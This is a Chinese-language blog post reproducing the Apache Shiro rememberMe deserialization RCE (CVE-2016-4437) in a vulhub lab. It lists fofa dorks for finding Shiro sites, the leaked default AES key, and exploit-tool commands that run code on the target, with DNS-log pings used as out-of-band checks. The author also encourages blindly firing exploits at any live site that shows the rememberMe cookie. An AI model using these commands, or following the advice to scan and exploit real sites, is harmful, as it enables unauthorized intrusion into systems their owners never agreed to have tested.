Apache Shiro RememberMe 反序列化

漏洞背景

CVE-2016-4437/shiro-550,shiro<1.2.4,前台无回显RCE。

  • 框架介绍:Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。
  • 漏洞引入:服务端在接收cookie时,得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化(未限制)。shiro≤1.2.4版本默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击。

漏洞特征(使用了shiro的站)

  • 进行登录,提交表单后看set-cookie是否存在remeberMe=deleteMe
  • fofa搜索:app="Apache-Shiro",header="rememberme=deleteMe"header="shiroCookie"

发现使用shiro的就exp盲打吧。

本地复现

shiro/CVE-2016-4437

# docker-compose up -d #服务启动后,访问http://ip:8080可使用admin:vulhub进行登录。
# 探测漏洞是否存在, `https://github.com/insightglacier/Shiro_exploit`
# python shiro_exploit.py -u http://192.168.2.130:8080
vulnerable:True url:http://192.168.2.130:8080   CipherKey:kPH+bIxk5D2deZiIxcaaaA==
# 还可以继续探测gadget, 然而还是不知道用来干啥,还是一键脚本打吧……
# python shiro_exploit.py -u http://192.168.2.130:8080/doLogin -t 3 -p "ping -c 2 rl5a3l.dnslog.cn" -k "kPH+bIxk5D2deZiIxcaaaA=="
found gadget:
['JRMPClient']
# exp1,https://github.com/sv3nbeast/ShiroScan
python3 shiro_rce.py http://192.168.2.130:8080 "ping ovm5ah.dnslog.cn"
# exp2,大佬发的shiro_exp.zip,咱也不知道谁写的……改改参数反正能用
python exp.py   

总结

  1. 一个很蠢又犯了好几次的毛病,docker起的环境如果用touch来试命令执行,检查的时候记得看docker而不是看本机。。。。
  2. 有空的话可以保持跟踪github上的cipherkey……或者及时pull大佬的项目()。
  3. 现网居然还有这个漏洞,看到rememberme试试反正不吃亏……

参考

  • vulhub:
    https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

你可能感兴趣的:(Apache Shiro RememberMe 反序列化)